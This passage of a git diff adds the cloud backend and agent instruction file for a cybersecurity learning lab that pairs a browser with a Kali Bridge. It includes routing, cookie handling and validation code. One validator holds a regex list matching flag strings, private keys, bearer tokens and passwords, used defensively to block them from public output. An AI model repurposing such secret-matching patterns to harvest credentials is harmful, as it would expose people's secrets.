@@ -0,0 +1,2 @@
+fund=false
+audit=false
diff --git a/apps/lab-guide/AGENTS.md b/apps/lab-guide/AGENTS.md
new file mode 100644
index 0000000..7580bc0
--- /dev/null
+++ b/apps/lab-guide/AGENTS.md
@@ -0,0 +1,20 @@
+# Prototype Instructions
+
+Run the local server yourself and open the preview in the browser available to this environment. Do not give the user server-start instructions when you can run it.
+
+Before making substantial visual changes, use the Product Design plugin's `get-context` skill when the visual source is unclear or no longer matches the current goal. When the user gives durable prototype-specific design feedback, preferences, or decisions, record them in `AGENTS.md`.
+
+When implementing from a selected generated mock, treat that image as the source of truth for layout, component anatomy, density, spacing, color, typography, visible content, and hierarchy.
+
+The user explicitly rejected a subdued single-theme interface. Keep three first-class, runtime-selectable art directions—PLAY (pop game), OPS (hacker operations), and FOCUS (simple editorial)—without reducing them to color skins. All three must preserve the same learning hierarchy, accessibility, state, and beginner-safe language. The visual thesis is a playable operations board, not a generic dashboard.
+
+The public site must remain useful without a target or session. Show an honest
+public guide, not fixture progress or a connection error. During an exercise,
+pair the browser to a Kali Bridge and let sanitized learning events change the
+facts, graph, objective, choices, and recent-event strip without a reload. The
+Debian target never hosts the public guide and never receives an internet route.
+
+Build app UI in `src/`. The canonical public surface is ExamServer `/lab`; the
+isolated Vercel deployment is an implementation origin only. Keep browser API
+calls under `/api/lab`, and verify `npm test`, `npm run typecheck`, and
+`npm run build` before handoff.
diff --git a/apps/lab-guide/api/index.mjs b/apps/lab-guide/api/index.mjs
new file mode 100644
index 0000000..c16f6f6
--- /dev/null
+++ b/apps/lab-guide/api/index.mjs
@@ -0,0 +1,7 @@
+import { getRuntime } from "../cloud/runtime.mjs";
+
+export default {
+  fetch(request) {
+    return getRuntime().fetch(request);
+  },
+};
diff --git a/apps/lab-guide/cloud/README.md b/apps/lab-guide/cloud/README.md
new file mode 100644
index 0000000..9bf2ba2
--- /dev/null
+++ b/apps/lab-guide/cloud/README.md
@@ -0,0 +1,53 @@
+# Vercel live backend
+
+The public guide is static and works with no environment variables. Live
+pairing uses the Vercel function in `api/index.mjs` plus Upstash Redis.
+
+Canonical public URL:
+
+<https://exam-server-one.vercel.app/lab>
+
+## Required Vercel configuration
+
+- `UPSTASH_REDIS_REST_URL` and `UPSTASH_REDIS_REST_TOKEN`.
+- `LAB_BRIDGE_DEPLOYMENT_SECRET` — 32+ random characters; provide the same
+  value to Kali as `BRIDGE_DEPLOYMENT_TOKEN`.
+- `LAB_SESSION_COOKIE_SECRET` — a different 32+ character random value used
+  only by the cloud backend.
+- `LAB_PUBLIC_ORIGIN` — `https://exam-server-one.vercel.app`.
+- `LAB_VIEWER_PATH` — `/lab` (also the runtime default).
+
+Optional tuning:
+
+- `LAB_SESSION_TTL_SECONDS` (default 4 hours)
+- `LAB_PAIRING_TTL_SECONDS` (default 5 minutes)
+- `LAB_BRIDGE_STALE_SECONDS` (default 12 seconds)
+
+Do not place target telemetry tokens, flag strings, or learner credentials in
+Vercel environment variables.
+
+## Runtime behavior
+
+The Bridge creates a room, uploads a sanitized projection, and prints a
+single-use six-character pairing code. The browser receives a signed
+`Secure; HttpOnly; SameSite=Strict` cookie after pairing. The event endpoint
+returns one bounded SSE state frame and closes; `EventSource` reconnects after
+one second, so no long-lived function or in-memory room is required.
+
+Redis conditional updates keep revisions monotonic, and pairing codes are deleted
+before a session is returned so they remain single-use. Browser actions are
+limited to hypothesis selection and hint unlock. Manual flag submission is not
+a cloud route.
+
+Run the repository checks before deployment:
+
+```text
+npm ci --prefix apps/lab-guide
+npm run check
+```
+
+Every production publish must pass an external API smoke through
+`https://exam-server-one.vercel.app/api/lab`: `create 200 → pair 200 →
+replay 404 → waiting state 200 → snapshot 204 → live state 200 → SSE 200`.
+A physical Kali Bridge, Debian target, and Ethernet isolation checklist remain
+separate hardware gates.
diff --git a/apps/lab-guide/cloud/errors.mjs b/apps/lab-guide/cloud/errors.mjs
new file mode 100644
index 0000000..ca6ad6d
--- /dev/null
+++ b/apps/lab-guide/cloud/errors.mjs
@@ -0,0 +1,13 @@
+export class CloudError extends Error {
+  constructor(status, code, publicMessage, internalMessage = publicMessage) {
+    super(internalMessage);
+    this.name = "CloudError";
+    this.status = status;
+    this.code = code;
+    this.publicMessage = publicMessage;
+  }
+}
+
+export function fail(status, code, publicMessage, internalMessage) {
+  throw new CloudError(status, code, publicMessage, internalMessage);
+}
diff --git a/apps/lab-guide/cloud/http.mjs b/apps/lab-guide/cloud/http.mjs
new file mode 100644
index 0000000..372b50c
--- /dev/null
+++ b/apps/lab-guide/cloud/http.mjs
@@ -0,0 +1,361 @@
+import { CloudError, fail } from "./errors.mjs";
+import { MAX_PROJECTION_BYTES } from "./projection.mjs";
+
+export const SESSION_COOKIE_NAME = "__Host-examserver_lab_session";
+const JSON_TYPE = "application/json";
+const COMMON_HEADERS = Object.freeze({
+  "Cache-Control": "no-store",
+  "Content-Security-Policy":
+    "default-src 'none'; frame-ancestors 'none'; base-uri 'none'; form-action 'none'",
+  "Referrer-Policy": "no-referrer",
+  "X-Content-Type-Options": "nosniff",
+  "X-Frame-Options": "DENY",
+});
+
+function jsonResponse(body, status = 200, extraHeaders = {}) {
+  return new Response(`${JSON.stringify(body)}\n`, {
+    status,
+    headers: {
+      ...COMMON_HEADERS,
+      "Content-Type": "application/json; charset=utf-8",
+      ...extraHeaders,
+    },
+  });
+}
+
+function emptyResponse(status = 204, extraHeaders = {}) {
+  return new Response(null, {
+    status,
+    headers: { ...COMMON_HEADERS, ...extraHeaders },
+  });
+}
+
+function errorResponse(error) {
+  const publicError =
+    error instanceof CloudError
+      ? error
+      : new CloudError(
+          500,
+          "internal_server_error",
+          "処理を完了できませんでした。",
+        );
+  return jsonResponse(
+    {
+      error: {
+        code: publicError.code,
+        message: publicError.publicMessage,
+      },
+    },
+    publicError.status,
+  );
+}
+
+function method(request, expected) {
+  if (request.method !== expected) {
+    throw new CloudError(
+      405,
+      "method_not_allowed",
+      "この操作方法には対応していません。",
+    );
+  }
+}
+
+function plainObject(value, label) {
+  if (
+    value === null ||
+    typeof value !== "object" ||
+    Array.isArray(value) ||
+    Object.getPrototypeOf(value) !== Object.prototype
+  ) {
+    fail(400, "invalid_request", "リクエストが不正です。", `${label} invalid`);
+  }
+  return value;
+}
+
+function exactKeys(value, required, optional = []) {
+  const allowed = new Set([...required, ...optional]);
+  const keys = Object.keys(value);
+  if (
+    required.some((key) => !Object.hasOwn(value, key)) ||
+    keys.some((key) => !allowed.has(key))
+  ) {
+    fail(400, "invalid_request", "リクエストが不正です。");
+  }
+  return value;
+}
+
+async function boundedBody(request, maximumBytes) {
+  const declared = request.headers.get("content-length");
+  if (
+    declared !== null &&
+    (!/^\d+$/.test(declared) || Number(declared) > maximumBytes)
+  ) {
+    fail(413, "request_too_large", "リクエストが大きすぎます。");
+  }
+  if (!request.body) return new Uint8Array();
+
+  const reader = request.body.getReader();
+  const chunks = [];
+  let size = 0;
+  try {
+    while (true) {
+      const chunk = await reader.read();
+      if (chunk.done) break;
+      size += chunk.value.byteLength;
+      if (size > maximumBytes) {
+        await reader.cancel();
+        fail(413, "request_too_large", "リクエストが大きすぎます。");
+      }
+      chunks.push(chunk.value);
+    }
+  } finally {
+    reader.releaseLock();
+  }
+
+  const output = new Uint8Array(size);
+  let offset = 0;
+  for (const chunk of chunks) {
+    output.set(chunk, offset);
+    offset += chunk.byteLength;
+  }
+  return output;
+}
+
+async function readJson(request, maximumBytes) {
+  const contentType = (request.headers.get("content-type") ?? "")
+    .split(";", 1)[0]
+    .trim()
+    .toLowerCase();
+  if (contentType !== JSON_TYPE) {
+    fail(415, "unsupported_media_type", "JSONで送信してください。");
+  }
+  let text;
+  try {
+    text = new TextDecoder("utf-8", { fatal: true }).decode(
+      await boundedBody(request, maximumBytes),
+    );
+  } catch (error) {
+    if (error instanceof CloudError) throw error;
+    fail(400, "invalid_json", "JSONを読み取れません。");
+  }
+  try {
+    return JSON.parse(text);
+  } catch {
+    fail(400, "invalid_json", "JSONを読み取れません。");
+  }
+}
+
+async function requireEmptyBody(request) {
+  if ((await boundedBody(request, 1)).byteLength !== 0) {
+    fail(400, "invalid_request", "この操作に本文は送信できません。");
+  }
+}
+
+function bearer(request) {
+  const value = request.headers.get("authorization") ?? "";
+  const match = /^Bearer ([^\s]{1,512})$/.exec(value);
+  return match?.[1] ?? "";
+}
+
+function sessionHeader(request) {
+  const value = request.headers.get("x-lab-session") ?? "";
+  return value.length <= 128 ? value : "";
+}
+
+function sessionCookie(request) {
+  const raw = request.headers.get("cookie") ?? "";
+  if (raw.length > 4096) {
+    fail(401, "invalid_session", "接続情報を確認できません。");
+  }
+  const matches = [];
+  for (const part of raw.split(";")) {
+    const separator = part.indexOf("=");
+    if (separator < 1) continue;
+    if (part.slice(0, separator).trim() === SESSION_COOKIE_NAME) {
+      matches.push(part.slice(separator + 1).trim());
+    }
+  }
+  if (matches.length !== 1 || matches[0].length > 1024) {
+    fail(401, "invalid_session", "接続情報を確認できません。");
+  }
+  return matches[0];
+}
+
+function pairedCookieHeader(value, expiresAtMs, nowMs) {
+  const maxAge = Math.max(1, Math.floor((expiresAtMs - nowMs) / 1_000));
+  return [
+    `${SESSION_COOKIE_NAME}=${value}`,
+    "Path=/",
+    `Max-Age=${maxAge}`,
+    `Expires=${new Date(expiresAtMs).toUTCString()}`,
+    "HttpOnly",
+    "Secure",
+    "SameSite=Strict",
+  ].join("; ");
+}
+
+function routePath(url) {
+  let path = url.pathname;
+  if (path === "/api") {
+    const rewritten = url.searchParams.get("__route");
+    if (rewritten !== null && rewritten.length <= 2048) {
+      path = `/api/${rewritten.replace(/^\/+/, "")}`;
+    }
+  }
+  if (path === "/api/lab") return "/api";
+  if (path.startsWith("/api/lab/")) return `/api/${path.slice(9)}`;
+  return path;
+}
+
+function decodedTargetId(value) {
+  try {
+    return decodeURIComponent(value);
+  } catch {
+    fail(400, "invalid_request", "リクエストが不正です。");
+  }
+}
+
+function sseResponse(projection, nowMs) {
+  const payload = JSON.stringify(projection);
+  const heartbeat = JSON.stringify({ at: new Date(nowMs).toISOString() });
+  const body = [
+    "retry: 1000",
+    `id: ${projection.revision}`,
+    "event: state",
+    `data: ${payload}`,
+    "",
+    "event: heartbeat",
+    `data: ${heartbeat}`,
+    "",
+    "",
+  ].join("\n");
+  return new Response(body, {
+    status: 200,
+    headers: {
+      ...COMMON_HEADERS,
+      "Content-Type": "text/event-stream; charset=utf-8",
+      "X-Accel-Buffering": "no",
+    },
+  });
+}
+
+export function createCloudHandler({ service, now = Date.now }) {
+  if (!service) throw new Error("service is required");
+
+  return {
+    async fetch(request) {
+      try {
+        const url = new URL(request.url);
+        const path = routePath(url);
+
+        if (path === "/api/bridge/session") {
+          method(request, "POST");
+          const body = exactKeys(
+            plainObject(await readJson(request, 4 * 1024), "session body"),
+            ["targetSessionId"],
+          );
+          return jsonResponse(
+            await service.createSession({
+              deploymentToken: bearer(request),
+              targetSessionId: body.targetSessionId,
+              requestOrigin: url.origin,
+            }),
+            200,
+          );
+        }
+
+        if (path === "/api/bridge/snapshot") {
+          method(request, "POST");
+          const body = exactKeys(
+            plainObject(
+              await readJson(request, MAX_PROJECTION_BYTES + 16 * 1024),
+              "snapshot body",
+            ),
+            ["projection"],
+            ["ackActionIds"],
+          );
+          await service.uploadSnapshot({
+            sessionId: sessionHeader(request),
+            uploadToken: bearer(request),
+            projection: body.projection,
+            ackActionIds: body.ackActionIds,
+          });
+          return emptyResponse();
+        }
+
+        if (path === "/api/bridge/actions") {
+          method(request, "GET");
+          return jsonResponse(
+            await service.pollActions({
+              sessionId: sessionHeader(request),
+              uploadToken: bearer(request),
+            }),
+          );
+        }
+
+        if (path === "/api/session/pair") {
+          method(request, "POST");
+          const body = exactKeys(
+            plainObject(await readJson(request, 1024), "pair body"),
+            ["code"],
+          );
+          const paired = await service.pair(body.code);
+          return jsonResponse(paired.projection, 200, {
+            "Set-Cookie": pairedCookieHeader(
+              paired.cookieValue,
+              paired.expiresAtMs,
+              now(),
+            ),
+          });
+        }
+
+        if (path === "/api/session/state") {
+          method(request, "GET");
+          return jsonResponse(await service.getState(sessionCookie(request)));
+        }
+
+        if (path === "/api/session/events") {
+          method(request, "GET");
+          return sseResponse(
+            await service.getState(sessionCookie(request)),
+            now(),
+          );
+        }
+
+        const hypothesis = /^\/api\/session\/hypotheses\/([^/]+)\/select$/.exec(
+          path,
+        );
+        if (hypothesis) {
+          method(request, "POST");
+          await requireEmptyBody(request);
+          return jsonResponse(
+            await service.queueAction({
+              cookieValue: sessionCookie(request),
+              type: "selectHypothesis",
+              targetId: decodedTargetId(hypothesis[1]),
+            }),
+            202,
+          );
+        }
+
+        const hint = /^\/api\/session\/hints\/([^/]+)\/unlock$/.exec(path);
+        if (hint) {
+          method(request, "POST");
+          await requireEmptyBody(request);
+          return jsonResponse(
+            await service.queueAction({
+              cookieValue: sessionCookie(request),
+              type: "unlockHint",
+              targetId: decodedTargetId(hint[1]),
+            }),
+            202,
+          );
+        }
+
+        throw new CloudError(404, "not_found", "このAPIはありません。");
+      } catch (error) {
+        return errorResponse(error);
+      }
+    },
+  };
+}
diff --git a/apps/lab-guide/cloud/projection-state.mjs b/apps/lab-guide/cloud/projection-state.mjs
new file mode 100644
index 0000000..4d4d329
--- /dev/null
+++ b/apps/lab-guide/cloud/projection-state.mjs
@@ -0,0 +1,48 @@
+import { createHash } from "node:crypto";
+
+function canonicalize(value) {
+  if (Array.isArray(value)) return value.map(canonicalize);
+  if (value !== null && typeof value === "object") {
+    return Object.fromEntries(
+      Object.keys(value)
+        .sort()
+        .map((key) => [key, canonicalize(value[key])]),
+    );
+  }
+  return value;
+}
+
+export function canonicalProjectionJson(projection) {
+  return JSON.stringify(canonicalize(projection));
+}
+
+export function projectionHash(projection) {
+  return createHash("sha256")
+    .update(canonicalProjectionJson(projection), "utf8")
+    .digest("hex");
+}
+
+export function waitingProjection(targetSessionId) {
+  return {
+    experience: "live",
+    sessionId: targetSessionId,
+    revision: 0,
+    status: "active",
+    heading: "標的の状態を待っています",
+    lede: "Kali Bridge が安全な進行情報を送ると、ここに反映されます。",
+    objective: "Kali Bridge と標的の接続を確認する",
+    consultationQuestion: "まだ観察結果は届いていません。",
+    facts: [],
+    hypotheses: [],
+    investigations: [],
+    graph: { nodes: [], edges: [] },
+    hints: [],
+    progress: { discovered: 0, total: 14 },
+    recentEvents: [],
+    telemetry: {
+      status: "waiting",
+      message: "最初の進行情報を待っています。",
+    },
+    capabilities: { manualFlagSubmission: false },
+  };
+}
diff --git a/apps/lab-guide/cloud/projection.mjs b/apps/lab-guide/cloud/projection.mjs
new file mode 100644
index 0000000..2b7039b
--- /dev/null
+++ b/apps/lab-guide/cloud/projection.mjs
@@ -0,0 +1,489 @@
+import { CloudError } from "./errors.mjs";
+import { SAFE_ID } from "./security.mjs";
+
+export const MAX_PROJECTION_BYTES = 256 * 1024;
+const ICONS = new Set([
+  "browser",
+  "calendar",
+  "door",
+  "file",
+  "folder",
+  "globe",
+  "network",
+  "server",
+  "terminal",
+  "user",
+]);
+const SECRET_TEXT = [
+  /\b(?:FLAG|LAB)\{[^}\r\n]{0,512}\}/i,
+  /-----BEGIN (?:RSA |OPENSSH |EC )?PRIVATE KEY-----/i,
+  /\bauthorization\s*:\s*bearer\s+\S+/i,
+  /\b(?:password|passwd|token)\s*[:=]\s*\S+/i,
+];
+
+export class ProjectionBoundaryError extends CloudError {
+  constructor(message) {
+    super(
+      422,
+      "invalid_projection",
+      "公開できない進行データです。",
+      message,
+    );
+    this.name = "ProjectionBoundaryError";
+  }
+}
+
+function boundary(path, message) {
+  throw new ProjectionBoundaryError(`${path} ${message}`);
+}
+
+function plainObject(value, path) {
+  if (
+    value === null ||
+    typeof value !== "object" ||
+    Array.isArray(value) ||
+    (Object.getPrototypeOf(value) !== Object.prototype &&
+      Object.getPrototypeOf(value) !== null)
+  ) {
+    boundary(path, "must be an object");
+  }
+  return value;
+}
+
+function exactKeys(value, path, required, optional = []) {
+  const allowed = new Set([...required, ...optional]);
+  for (const key of Object.keys(value)) {
+    if (!allowed.has(key)) boundary(`${path}.${key}`, "is not allowed");
+  }
+  for (const key of required) {
+    if (!Object.hasOwn(value, key)) boundary(`${path}.${key}`, "is required");
+  }
+}
+
+function safeText(value, path, { minimum = 1, maximum = 220 } = {}) {
+  if (
+    typeof value !== "string" ||
+    value.length < minimum ||
+    value.length > maximum ||
+    /[\u0000-\u001f\u007f]/.test(value) ||
+    SECRET_TEXT.some((pattern) => pattern.test(value))
+  ) {
+    boundary(path, `must be safe text from ${minimum} to ${maximum} characters`);
+  }
+  return value;
+}
+
+function identifier(value, path) {
+  if (typeof value !== "string" || !SAFE_ID.test(value)) {
+    boundary(path, "must be a safe identifier");
+  }
+  return value;
+}
+
+function boolean(value, path) {
+  if (typeof value !== "boolean") boundary(path, "must be boolean");
+  return value;
+}
+
+function integer(value, path, { minimum = 0, maximum } = {}) {
+  if (
+    !Number.isSafeInteger(value) ||
+    value < minimum ||
+    (maximum !== undefined && value > maximum)
+  ) {
+    boundary(path, "must be a bounded integer");
+  }
+  return value;
+}
+
+function array(value, path, maximum) {
+  if (!Array.isArray(value) || value.length > maximum) {
+    boundary(path, `must be an array with at most ${maximum} entries`);
+  }
+  return value;
+}
+
+function icon(value, path) {
+  if (typeof value !== "string" || !ICONS.has(value)) {
+    boundary(path, "must be a known public icon");
+  }
+  return value;
+}
+
+function unique(items, path) {
+  const ids = new Set();
+  for (const item of items) {
+    if (ids.has(item.id)) boundary(path, `contains duplicate id ${item.id}`);
+    ids.add(item.id);
+  }
+}
+
+function validateFact(value, index) {
+  const path = `projection.facts[${index}]`;
+  const input = plainObject(value, path);
+  exactKeys(input, path, ["id", "label", "icon"], ["detail"]);
+  return {
+    id: identifier(input.id, `${path}.id`),
+    label: safeText(input.label, `${path}.label`),
+    ...(input.detail === undefined
+      ? {}
+      : {
+          detail: safeText(input.detail, `${path}.detail`, { maximum: 500 }),
+        }),
+    icon: icon(input.icon, `${path}.icon`),
+  };
+}
+
+function validateHypothesis(value, index) {
+  const path = `projection.hypotheses[${index}]`;
+  const input = plainObject(value, path);
+  exactKeys(input, path, ["id", "label", "summary"], [
+    "selected",
+    "available",
+  ]);
+  return {
+    id: identifier(input.id, `${path}.id`),
+    label: safeText(input.label, `${path}.label`),
+    summary: safeText(input.summary, `${path}.summary`, { maximum: 500 }),
+    ...(input.selected === undefined
+      ? {}
+      : { selected: boolean(input.selected, `${path}.selected`) }),
+    ...(input.available === undefined
+      ? {}
+      : { available: boolean(input.available, `${path}.available`) }),
+  };
+}
+
+function validateInvestigation(value, index) {
+  const path = `projection.investigations[${index}]`;
+  const input = plainObject(value, path);
+  exactKeys(input, path, ["id", "label", "summary", "icon"], [
+    "hypothesisId",
+  ]);
+  return {
+    id: identifier(input.id, `${path}.id`),
+    label: safeText(input.label, `${path}.label`),
+    summary: safeText(input.summary, `${path}.summary`, { maximum: 500 }),
+    icon: icon(input.icon, `${path}.icon`),
+    ...(input.hypothesisId === undefined
+      ? {}
+      : {
+          hypothesisId: identifier(
+            input.hypothesisId,
+            `${path}.hypothesisId`,
+          ),
+        }),
+  };
+}
+
+function validateGraphNode(value, index) {
+  const path = `projection.graph.nodes[${index}]`;
+  const input = plainObject(value, path);
+  exactKeys(input, path, ["id", "state"], [
+    "label",
+    "detail",
+    "icon",
+    "kind",
+    "progress",
+    "position",
+  ]);
+  if (!["discovered", "selected", "undiscovered"].includes(input.state)) {
+    boundary(`${path}.state`, "is not a public graph state");
+  }
+  if (
+    input.state === "undiscovered" &&
+    ["label", "detail", "icon", "kind", "progress", "position"].some((key) =>
+      Object.hasOwn(input, key),
+    )
+  ) {
+    boundary(path, "must not reveal undiscovered node material");
+  }
+
+  const output = {
+    id: identifier(input.id, `${path}.id`),
+    state: input.state,
+  };
+  if (input.state !== "undiscovered") {
+    output.label = safeText(input.label, `${path}.label`);
+    if (input.detail !== undefined) {
+      output.detail = safeText(input.detail, `${path}.detail`, {
+        maximum: 500,
+      });
+    }
+    if (input.icon !== undefined) output.icon = icon(input.icon, `${path}.icon`);
+    if (input.kind !== undefined) {
+      output.kind = identifier(input.kind, `${path}.kind`);
+    }
+    if (input.progress !== undefined) {
+      output.progress = safeText(input.progress, `${path}.progress`, {
+        maximum: 64,
+      });
+    }
+    if (input.position !== undefined) {
+      const position = plainObject(input.position, `${path}.position`);
+      exactKeys(position, `${path}.position`, ["x", "y"]);
+      for (const axis of ["x", "y"]) {
+        if (
+          typeof position[axis] !== "number" ||
+          !Number.isFinite(position[axis]) ||
+          Math.abs(position[axis]) > 10_000
+        ) {
+          boundary(`${path}.position.${axis}`, "must be a bounded number");
+        }
+      }
+      output.position = { x: position.x, y: position.y };
+    }
+  }
+  return output;
+}
+
+function validateGraphEdge(value, index) {
+  const path = `projection.graph.edges[${index}]`;
+  const input = plainObject(value, path);
+  exactKeys(input, path, ["from", "to"], ["id", "state"]);
+  const output = {
+    ...(input.id === undefined
+      ? {}
+      : { id: identifier(input.id, `${path}.id`) }),
+    from: identifier(input.from, `${path}.from`),
+    to: identifier(input.to, `${path}.to`),
+  };
+  if (input.state !== undefined) {
+    if (
+      !["known", "possible", "discovered", "available"].includes(input.state)
+    ) {
+      boundary(`${path}.state`, "is not a public edge state");
+    }
+    output.state = input.state;
+  }
+  return output;
+}
+
+function validateHint(value, index) {
+  const path = `projection.hints[${index}]`;
+  const input = plainObject(value, path);
+  exactKeys(input, path, ["id", "step", "title", "state"], [
+    "body",
+    "condition",
+  ]);
+  if (![1, 2, 3].includes(input.step)) {
+    boundary(`${path}.step`, "must be 1, 2, or 3");
+  }
+  if (!["unlocked", "available", "locked"].includes(input.state)) {
+    boundary(`${path}.state`, "is not a public hint state");
+  }
+  if (input.state !== "unlocked" && input.body !== undefined) {
+    boundary(`${path}.body`, "must not reveal a locked hint");
+  }
+  return {
+    id: identifier(input.id, `${path}.id`),
+    step: input.step,
+    title: safeText(input.title, `${path}.title`),
+    state: input.state,
+    ...(input.body === undefined
+      ? {}
+      : {
+          body: safeText(input.body, `${path}.body`, { maximum: 2_000 }),
+        }),
+    ...(input.condition === undefined
+      ? {}
+      : {
+          condition: safeText(input.condition, `${path}.condition`, {
+            maximum: 500,
+          }),
+        }),
+  };
+}
+
+function validateRecentEvent(value, index) {
+  const path = `projection.recentEvents[${index}]`;
+  const input = plainObject(value, path);
+  exactKeys(input, path, ["id", "at", "message"]);
+  const at = safeText(input.at, `${path}.at`, { maximum: 32 });
+  if (
+    !/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(?:\.\d{3})?Z$/.test(at) ||
+    Number.isNaN(Date.parse(at))
+  ) {
+    boundary(`${path}.at`, "must be an ISO 8601 UTC timestamp");
+  }
+  return {
+    id: identifier(input.id, `${path}.id`),
+    at,
+    message: safeText(input.message, `${path}.message`, { maximum: 500 }),
+  };
+}
+
+export function validatePublicProjection(value) {
+  let serialized;
+  try {
+    serialized = JSON.stringify(value);
+  } catch {
+    boundary("projection", "must be JSON serializable");
+  }
+  if (
+    typeof serialized !== "string" ||
+    Buffer.byteLength(serialized) > MAX_PROJECTION_BYTES
+  ) {
+    boundary("projection", `must not exceed ${MAX_PROJECTION_BYTES} bytes`);
+  }
+
+  const input = plainObject(value, "projection");
+  exactKeys(
+    input,
+    "projection",
+    [
+      "sessionId",
+      "revision",
+      "status",
+      "facts",
+      "hypotheses",
+      "graph",
+      "hints",
+      "progress",
+      "recentEvents",
+      "telemetry",
+    ],
+    [
+      "experience",
+      "heading",
+      "lede",
+      "objective",
+      "consultationQuestion",
+      "investigations",
+      "capabilities",
+    ],
+  );
+  if (input.experience !== undefined && input.experience !== "live") {
+    boundary("projection.experience", "must be live");
+  }
+  if (!["active", "complete", "ended"].includes(input.status)) {
+    boundary("projection.status", "is not a public session status");
+  }
+
+  const facts = array(input.facts, "projection.facts", 14).map(validateFact);
+  const hypotheses = array(
+    input.hypotheses,
+    "projection.hypotheses",
+    32,
+  ).map(validateHypothesis);
+  const investigations =
+    input.investigations === undefined
+      ? undefined
+      : array(input.investigations, "projection.investigations", 8).map(
+          validateInvestigation,
+        );
+  const graph = plainObject(input.graph, "projection.graph");
+  exactKeys(graph, "projection.graph", ["nodes", "edges"]);
+  const nodes = array(graph.nodes, "projection.graph.nodes", 32).map(
+    validateGraphNode,
+  );
+  const edges = array(graph.edges, "projection.graph.edges", 96).map(
+    validateGraphEdge,
+  );
+  const hints = array(input.hints, "projection.hints", 3).map(validateHint);
+  const recentEvents = array(
+    input.recentEvents,
+    "projection.recentEvents",
+    20,
+  ).map(validateRecentEvent);
+
+  for (const [items, path] of [
+    [facts, "projection.facts"],
+    [hypotheses, "projection.hypotheses"],
+    [nodes, "projection.graph.nodes"],
+    [hints, "projection.hints"],
+    [recentEvents, "projection.recentEvents"],
+  ]) {
+    unique(items, path);
+  }
+  if (investigations) unique(investigations, "projection.investigations");
+
+  const progress = plainObject(input.progress, "projection.progress");
+  exactKeys(progress, "projection.progress", ["discovered", "total"]);
+  const total = integer(progress.total, "projection.progress.total", {
+    minimum: 14,
+    maximum: 14,
+  });
+  const discovered = integer(
+    progress.discovered,
+    "projection.progress.discovered",
+    { maximum: total },
+  );
+
+  const telemetry = plainObject(input.telemetry, "projection.telemetry");
+  exactKeys(telemetry, "projection.telemetry", ["status"], ["message"]);
+  if (!["live", "reconnecting", "unavailable"].includes(telemetry.status)) {
+    boundary("projection.telemetry.status", "is not a detector status");
+  }
+
+  if (input.capabilities !== undefined) {
+    const capabilities = plainObject(
+      input.capabilities,
+      "projection.capabilities",
+    );
+    exactKeys(
+      capabilities,
+      "projection.capabilities",
+      ["manualFlagSubmission"],
+    );
+    boolean(
+      capabilities.manualFlagSubmission,
+      "projection.capabilities.manualFlagSubmission",
+    );
+  }
+
+  return {
+    experience: "live",
+    sessionId: identifier(input.sessionId, "projection.sessionId"),
+    revision: integer(input.revision, "projection.revision"),
+    status: input.status,
+    ...(input.heading === undefined
+      ? {}
+      : {
+          heading: safeText(input.heading, "projection.heading", {
+            maximum: 500,
+          }),
+        }),
+    ...(input.lede === undefined
+      ? {}
+      : {
+          lede: safeText(input.lede, "projection.lede", { maximum: 1_000 }),
+        }),
+    ...(input.objective === undefined
+      ? {}
+      : {
+          objective: safeText(input.objective, "projection.objective", {
+            maximum: 500,
+          }),
+        }),
+    ...(input.consultationQuestion === undefined
+      ? {}
+      : {
+          consultationQuestion: safeText(
+            input.consultationQuestion,
+            "projection.consultationQuestion",
+            { maximum: 500 },
+          ),
+        }),
+    facts,
+    hypotheses,
+    ...(investigations === undefined ? {} : { investigations }),
+    graph: { nodes, edges },
+    hints,
+    progress: { discovered, total },
+    recentEvents,
+    telemetry: {
+      status: telemetry.status,
+      ...(telemetry.message === undefined
+        ? {}
+        : {
+            message: safeText(
+              telemetry.message,
+              "projection.telemetry.message",
+              { minimum: 0 },
+            ),
+          }),
+    },
+    capabilities: { manualFlagSubmission: false },
+  };
+}
diff --git a/apps/lab-guide/cloud/runtime.mjs b/apps/lab-guide/cloud/runtime.mjs
new file mode 100644
index 0000000..2068804
--- /dev/null
+++ b/apps/lab-guide/cloud/runtime.mjs
@@ -0,0 +1,67 @@
+import { Redis } from "@upstash/redis";
+
+import { createCloudHandler } from "./http.mjs";
+import { SessionService } from "./session-service.mjs";
+import { RedisSessionStore } from "./store.mjs";
+
+let singleton;
+
+function required(environment, name, minimumLength = 1) {
+  const value = environment[name];
+  if (typeof value !== "string" || value.length < minimumLength) {
+    throw new Error(`${name} is required`);
+  }
+  return value;
+}
+
+function optionalMilliseconds(environment, name, fallback) {
+  const raw = environment[name];
+  if (raw === undefined || raw === "") return fallback;
+  if (!/^\d+$/.test(raw)) throw new Error(`${name} must be an integer`);
+  return Number(raw) * 1_000;
+}
+
+export function createRuntime(environment = process.env) {
+  const redis = new Redis({
+    url: required(environment, "UPSTASH_REDIS_REST_URL"),
+    token: required(environment, "UPSTASH_REDIS_REST_TOKEN"),
+  });
+  const store = new RedisSessionStore({
+    redis,
+    prefix: environment.LAB_REDIS_PREFIX ?? "examserver:lab-guide:v1",
+  });
+  const service = new SessionService({
+    store,
+    deploymentSecret: required(
+      environment,
+      "LAB_BRIDGE_DEPLOYMENT_SECRET",
+      32,
+    ),
+    cookieSecret: required(environment, "LAB_SESSION_COOKIE_SECRET", 32),
+    ...(environment.LAB_PUBLIC_ORIGIN
+      ? { publicOrigin: environment.LAB_PUBLIC_ORIGIN }
+      : {}),
+    viewerPath: environment.LAB_VIEWER_PATH ?? "/lab",
+    sessionTtlMs: optionalMilliseconds(
+      environment,
+      "LAB_SESSION_TTL_SECONDS",
+      4 * 60 * 60 * 1_000,
+    ),
+    pairingTtlMs: optionalMilliseconds(
+      environment,
+      "LAB_PAIRING_TTL_SECONDS",
+      5 * 60 * 1_000,
+    ),
+    staleAfterMs: optionalMilliseconds(
+      environment,
+      "LAB_BRIDGE_STALE_SECONDS",
+      12_000,
+    ),
+  });
+  return createCloudHandler({ service });
+}
+
+export function getRuntime() {
+  singleton ??= createRuntime();
+  return singleton;
+}
diff --git a/apps/lab-guide/cloud/security.mjs b/apps/lab-guide/cloud/security.mjs
new file mode 100644
index 0000000..866d28a
--- /dev/null
+++ b/apps/lab-guide/cloud/security.mjs
@@ -0,0 +1,135 @@
+import {
+  createHash,
+  createHmac,
+  randomBytes as nodeRandomBytes,
+  timingSafeEqual,
+} from "node:crypto";
+
+import { CloudError, fail } from "./errors.mjs";
+
+export const SAFE_ID = /^[A-Za-z0-9][A-Za-z0-9_.:-]{0,127}$/;
+const PAIRING_ALPHABET = "ABCDEFGHJKLMNPQRSTUVWXYZ23456789";
